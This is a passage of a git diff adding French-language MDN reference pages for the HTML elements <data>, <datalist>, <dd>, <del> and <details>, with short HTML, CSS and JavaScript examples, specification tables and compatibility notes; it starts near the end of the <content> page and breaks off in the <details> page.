+<h3 id="Capture">Capture</h3>
+
+<p><img alt="Contenu de l'exemple" src="https://mdn.mozillademos.org/files/10325/Capture.JPG" style="height: 193px; width: 464px;"></p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu" title="HTML/Content_categories">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Modèle_de_contenu_transparent" title="HTML/Content_categories#Transparent_content_model">Contenu transparent</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du contenu de flux.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLContentElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce document ne fait plus partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.content")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Web_Components">Les composants web</a></li>
+ <li>{{HTMLElement("shadow")}}</li>
+ <li>{{HTMLElement("template")}}</li>
+ <li>{{HTMLElement("slot")}}</li>
+ <li>{{HTMLElement("element")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/data/index.html b/files/fr/web/html/element/data/index.html
new file mode 100644
index 0000000000..83c25b0833
--- /dev/null
+++ b/files/fr/web/html/element/data/index.html
@@ -0,0 +1,107 @@
+---
+title: <data>
+slug: Web/HTML/Element/data
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/data
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément <strong>HTML <code>&lt;data&gt;</code> </strong>relie un contenu à une version de ce contenu interprétable par un ordinateur. Si le contenu possède une composante temporelle, l'élément {{HTMLElement("time")}} doit être utiisé.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/data.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme pour tous les autres éléments, on peut utiliser <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a> sur <code>&lt;data&gt;</code>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>Cet attribut définit la version du contenu qui doit être interprétée par une machine.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on affiche des noms de produits avec des codes correspondants :</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;Nouveaux produits&lt;/p&gt;
+&lt;ul&gt;
+  &lt;li&gt;&lt;data value="3251546"&gt;Mini voiture&lt;/data&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;data value="5867654"&gt;Grande voiture&lt;/data&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;data value="9887635"&gt;Énorme voiture&lt;/data&gt;&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","180")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Contenu autorisé</dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Omission de balises</dfn></th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Parents autorisés</dfn></th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row"><dfn>Interface DOM</dfn></th>
+   <td>{{domxref("HTMLDataElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-data-element', '&lt;data&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement depuis {{Spec2('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-data-element', '&lt;data&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.data")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément {{HTMLElement("time")}}.</li>
+</ul>
diff --git a/files/fr/web/html/element/datalist/index.html b/files/fr/web/html/element/datalist/index.html
new file mode 100644
index 0000000000..732a5ad5ed
--- /dev/null
+++ b/files/fr/web/html/element/datalist/index.html
@@ -0,0 +1,114 @@
+---
+title: <datalist>
+slug: Web/HTML/Element/datalist
+tags:
+  - Element
+  - Formulaires
+  - HTML
+  - Reference
+  - Web
+  - polyfill
+translation_of: Web/HTML/Element/datalist
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;datalist&gt;</code></strong> contient un ensemble d'éléments {{HTMLElement("option")}} qui représentent les valeurs possibles pour d'autres contrôles.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/datalist.html", "tabbed-standard")}}</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément ne possède que <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>, communs à tous les éléments.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;label for="monNavigateur"&gt;Veuillez choisir un navigateur parmi ceux-ci :&lt;/label&gt;
+&lt;input list="navigateurs" id="monNavigateur" name="monNavigateur"/&gt;
+&lt;datalist id="navigateurs"&gt;
+  &lt;option value="Chrome"&gt;
+  &lt;option value="Firefox"&gt;
+  &lt;option value="Internet Explorer"&gt;
+  &lt;option value="Opera"&gt;
+  &lt;option value="Safari"&gt;
+&lt;/datalist&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","200")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Soit <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">du contenu phrasé</a> ou zéro ou plus d'éléments {{HTMLElement("option")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>N'importe quel élément qui accepte <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">du contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLDataListElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-datalist-element', '&lt;datalist&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-datalist-element', '&lt;datalist&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.datalist")}}</p>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Il est possible d'utiliser <a href="https://github.com/mfranzke/datalist-polyfill">cette bibliothèque</a> pour émuler la fonctionnalité dans les anciens navigateurs.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("input")}} et plus précisément son attribut {{htmlattrxref("list", "input")}}.</li>
+ <li>{{HTMLElement("option")}}.</li>
+</ul>
diff --git a/files/fr/web/html/element/dd/index.html b/files/fr/web/html/element/dd/index.html
new file mode 100644
index 0000000000..473103b350
--- /dev/null
+++ b/files/fr/web/html/element/dd/index.html
@@ -0,0 +1,117 @@
+---
+title: '<dd> : l''élément de détail d''une description'
+slug: Web/HTML/Element/dd
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/dd
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;dd&gt;</code></strong> (pour <em><strong>d</strong>efinition <strong>d</strong>escription</em>) indique la définition d'un terme au sein d'une liste de définitions (élément ({{HTMLElement("dl")}}). Cet élément ne peut apparaître qu'en tant qu'élément appartenant à une liste de définitions et doit être précédé d'un élément {{HTMLElement("dt")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dd.html","tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément inclut <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("nowrap")}} {{Non-standard_inline}}</dt>
+ <dd>Si la valeur de cet attribut est <code>yes</code>, il n'y aura pas de retour à la ligne si le texte de la définition dépasse la taille de la ligne. La valeur par défaut est <code>no</code>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;dl&gt;
+  &lt;dt&gt;Dancing&lt;/dt&gt;
+  &lt;dd&gt;
+      A series of movements involving two partners
+      where speed and rhythm match harmoniously with
+      music.
+  &lt;/dd&gt;
+&lt;/dl&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","130")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu" title="HTML/Content_categories">Catégories de contenu</a></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux" title="HTML/Content_categories#Flow_content">Contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>Cet élément doit avoir une balise ouvrante. La balise de fin peut être omise s'il est immédiatement suivi par un autre élément <code>&lt;dd&gt;</code> ou un autre élément <code>&lt;dt&gt;</code> ou s'il n'y a plus d'autre contenu dans l'élément parent.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Au sein d'un élément {{HTMLElement("dl")}} après un élément {{HTMLElement("dt")}} ou après un élément {{HTMLElement("dd")}}. Sinon (selon le WHATWG), au sein d'un élément {{HTMLElement("div")}} situé dans un élément {{HTMLElement("dl")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-dd-element', '&lt;dd&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-dd-element', '&lt;dd&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/lists.html#h-10.3', '&lt;dd&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.dd")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLELement("dl")}}</li>
+ <li>{{HTMLElement("dt")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/del/index.html b/files/fr/web/html/element/del/index.html
new file mode 100644
index 0000000000..94839d3584
--- /dev/null
+++ b/files/fr/web/html/element/del/index.html
@@ -0,0 +1,144 @@
+---
+title: '<del> : l''élément de texte supprimé'
+slug: Web/HTML/Element/del
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/del
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;del&gt;</code> </strong>représente une portion de texte ayant été supprimée d'un document. Cet élément est souvent (mais pas nécessairement) affiché rayé.</p>
+
+<p>L'élément {{HTMLElement("ins")}} est quant à lui utilisé pour représenter des portions de texte ajoutées.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/del.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme pour tous les autres éléments, on peut utiliser <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a> sur <code>&lt;del&gt;</code>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cite")}}</dt>
+ <dd>Une URL pour une ressource expliquant le changement (cela peut être un procès verbal d'une réunion par exemple).</dd>
+ <dt>{{htmlattrdef("datetime")}}</dt>
+ <dd>Cet attribut indique l'heure et la date du changement et doit être une date valide avec une heure facultative. Si la valeur ne peut pas être analysée comme telle, l'élément n'aura pas d'information temporelle associée. Voir <a href="/fr/docs/Web/HTML/Formats_date_heure_HTML">l'article sur les formats</a> pour la représentation d'<a href="/fr/docs/Web/HTML/Formats_date_heure_HTML#Représentation_des_dates">une date seule</a> ou d'<a href="/fr/docs/Web/HTML/Formats_date_heure_HTML#Représentation_des_dates_et_heures_locales">une date avec une heure</a>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;&lt;del&gt;Ce texte a été supprimé.&lt;/del&gt; mais pas celui-ci&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","100")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Par défaut, la plupart des outils d'assistance n'annoncent pas la présence de l'élément <code>del</code>. On peut le rendre annonçable via la propriété CSS {{cssxref("content")}} et grâce aux pseudo-éléments {{cssxref("::before")}} et {{cssxref("::after")}}.</p>
+
+<pre>del::before,
+del::after {
+  clip-path: inset(100%);
+  clip: rect(1px, 1px, 1px, 1px);
+  height: 1px;
+  overflow: hidden;
+  position: absolute;
+  white-space: nowrap;
+  width: 1px;
+}
+
+del::before {
+  content: " [Début de la suppression]";
+}
+
+del::after {
+  content: " [Fin de la suppression] ";
+}
+</pre>
+
+<p>Certaines personnes qui utilisent des lecteurs d'écran désactivent sciemment ces annonces pour éviter une verbosité trop importante. Il est donc important de ne pas abuser de cette technique et de ne l'appliquer qu'à des situations où il est nécessaire de comprendre que du contenu a été supprimé.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/12/short-note-on-making-your-mark-more-accessible/"><em>Short note on making your mark (more accessible) | The Paciello Group</em> (en anglais)</a></li>
+ <li><a href="http://adrianroselli.com/2017/12/tweaking-text-level-styles.html"><em>Tweaking Text Level Styles | Adrian Roselli</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a> ou <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Modèle_de_contenu_transparent">Transparent</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLModElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'edits.html#the-del-element', '&lt;del&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'edits.html#the-del-element', '&lt;del&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.4', '&lt;del&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.del")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("ins")}} qui permet de représenter les insertions dans un texte</li>
+ <li>{{HTMLElement("s")}} qui permet de représenter des portions de texte qui ne sont plus pertinentes (elles sont généralement barrées)</li>
+</ul>
diff --git a/files/fr/web/html/element/details/index.html b/files/fr/web/html/element/details/index.html
new file mode 100644
index 0000000000..70797fa6b9
--- /dev/null
+++ b/files/fr/web/html/element/details/index.html
@@ -0,0 +1,265 @@
+---
+title: <details>
+slug: Web/HTML/Element/details
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/details
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;details&gt;</code></strong> est utilisé comme un outil permettant de révéler une information. Un résumé ou un intitulé peuvent être fournis grâce à un élément {{HTMLElement("summary")}}.</p>
+
+<p>La plupart du temps, le contrôle utilisé pour cet élément est un triangle qui est tourné ou tordu afin d'indiquer si l'élément est révélé ou non. Si le premier élément fils de l'élément <code>&lt;details&gt;</code> est un élément <code>&lt;summary&gt;</code>, c'est le contenu de ce dernier qui est utilisé comme intitulé pour le contenu à révéler (l'intitulé est donc toujours visible).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/details.html", "tabbed-standard")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les éléments HTML, cet élément accepte les <a href="/fr/docs/Web/HTML/Attributs_universels" title="fr/HTML/Global_attributes">attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("open")}}</dt>
+ <dd>Cet attribut booléen indique si les détails seront affichés lors du chargement de la page. La valeur par défaut est <code>false</code> (les détails sont alors cachés).</dd>
+</dl>
+
+<h2 id="Évènement_toggle">Évènement <code>toggle</code></h2>
+
+<p>En plus des évènements classiques pris en charge par les éléments HTML, l'élément <code>&lt;details&gt;</code> prend en charge l'évènement {{event("toggle")}} qui est envoyé sur l'élément lorsque son état change entre ouvert et fermé (que ce soit dans un sens ou dans l'autre). L'évènement est envoyé après que l'état ait été changé et si plusieurs changement d'état ont eu lieu avant que le navigateur envoie l'évènement, le navigateur fusionnera ces évènements en un seul.</p>
+
+<p>On peut alors écouter cet évènement en JavaScript afin de détecter le changement d'état du contrôle :</p>
+
+<pre class="brush: js">detailsElem.addEventListener("toggle", function(evt){
+  if(detailsElem.open) {
+    /* l'état est passé en "ouvert" */
+  } else {
+    /* l'état est passé en "fermé" */
+  }
+}, false);</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Un_exemple_simple">Un exemple simple</h3>
+
+<p>Dans cet exemple, on utilise un élément <code>&lt;details&gt;</code> sans résumé/intitulé.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;details&gt;
+  &lt;p&gt;Requires a computer running an operating system. The computer
+  must have some memory and ideally some kind of long-term storage.
+  An input device as well as some form of output device is
+  recommended.&lt;/p&gt;
+&lt;/details&gt;</pre>
+
+<p>Ici, le navigateur utilisera alors un intitulé par défaut (généralement, ce sera "Détails").</p>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Un_exemple_simple", 650, 150)}}</p>
+
+<h3 id="Fournir_un_résumé">Fournir un résumé</h3>
+
+<p>Dans cet exemple, on ajoute un résumé grâce à l'élément {{HTMLElement("summary")}} qu'on imbrique au début de l'élément <code>&lt;details&gt;</code> :</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;details&gt;
+  &lt;summary&gt;System Requirements&lt;/summary&gt;
+  &lt;p&gt;Requires a computer running an operating system. The computer
+  must have some memory and ideally some kind of long-term storage.
+  An input device as well as some form of output device is
+  recommended.&lt;/p&gt;
+&lt;/details&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Fournir_un_résumé", 650, 150)}}</p>
+
+<h3 id="Créer_un_contrôle_déja_ouvert">Créer un contrôle déja ouvert</h3>
+
+<p>Pour obtenir une boîte <code>&lt;details&gt;</code> dans un état ouvert, il suffit d'ajouter l'attribut booléen <code>open</code> :</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;details open&gt;
+  &lt;summary&gt;System Requirements&lt;/summary&gt;
+  &lt;p&gt;Requires a computer running an operating system. The computer
+  must have some memory and ideally some kind of long-term storage.
+  An input device as well as some form of output device is
+  recommended.&lt;/p&gt;
+&lt;/details&gt;</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Créer_un_contrôle_déja_ouvert", 650, 150)}}</p>
+
+<h3 id="Personnaliser_l’apparence">Personnaliser l’apparence</h3>
+
+<p>Utilisons un peu de CSS afin de personnaliser l'apparence du contrôle fourni par <code>&lt;details&gt;</code>.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">details {
+  font: 16px "Open Sans", "Arial", sans-serif;
+  width: 620px;
+}
+
+details &gt; summary {
+  padding: 2px 6px;
+  width: 15em;
+  background-color: #ddd;
+  border: none;
+  box-shadow: 3px 3px 4px black;
+}
+
+details &gt; p {
+  border-radius: 0 0 10px 10px;
+  background-color: #ddd;
+  padding: 2px 6px;
+  margin: 0;
+  box-shadow: 3px 3px 4px black;
+}
+</pre>
+
+<p>Ce fragment de feuille de style CSS crée une apparence similaire à un onglet où, lorsqu'on clique sur l'onglet, il s'étend et révèle le contenu.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;details&gt;
+  &lt;summary&gt;System Requirements&lt;/summary&gt;
+  &lt;p&gt;Requires a computer running an operating system. The computer
+  must have some memory and ideally some kind of long-term storage.
+  An input device as well as some form of output device is
+  recommended.&lt;/p&gt;
+&lt;/details&gt;</pre>
+
+<h4 id="Résultat_4">Résultat</h4>
+
+<p>{{EmbedLiveSample("Personnaliser_l’apparence", 650, 150)}}</p>
+
+<h3 id="Personnaliser_le_marqueur_de_révélation">Personnaliser le marqueur de révélation</h3>
+
+<p>Le triangle généralement utilisé peut également être personnalisé. Toutefois, cette fonctionnalité a été standardisée récemment et n'est pas encore largement prise en charge. De plus, la méthode de prise en charge varie encore d'un navigateur à un autre.</p>
+
+<p>L'élément {{HTMLElement("summary")}} permet d'utiliser la propriété raccourcie {{cssxref("list-style")}} ainsi que les propriétés détaillées associées (telle que {{cssxref("list-style-type")}}) afin de modifier l'icône utilisée pour le contrôle.</p>
+
+<p>Il est possible de retirer l'icône en utilisant la valeur <code>none</code> pour la propriété <code>list-style</code>. Il est aussi possible d'utiliser d'autres valeurs sur <code>list-style</code> afin de configurer l'apparence du contrôle.</p>
+
+<p>Actuellement, Chrome ne prend pas en charge cette fonctionnalité et il faut utiliser <a href="/fr/docs/Web/CSS/Pseudo-%C3%A9l%C3%A9ments">le pseudo-élément</a> spécifique <code>::-webkit-details-marker</code> afin de personnaliser l'apparence.</p>
+
+<p>Pour une meilleure compatibilité à court terme, vous pouvez utiliser <code>display: none</code> sur l'élément <code>&lt;summary&gt;</code> afin de désactiver l'affichage du contrôle.</p>
+
+<h4 id="CSS_2">CSS</h4>
+
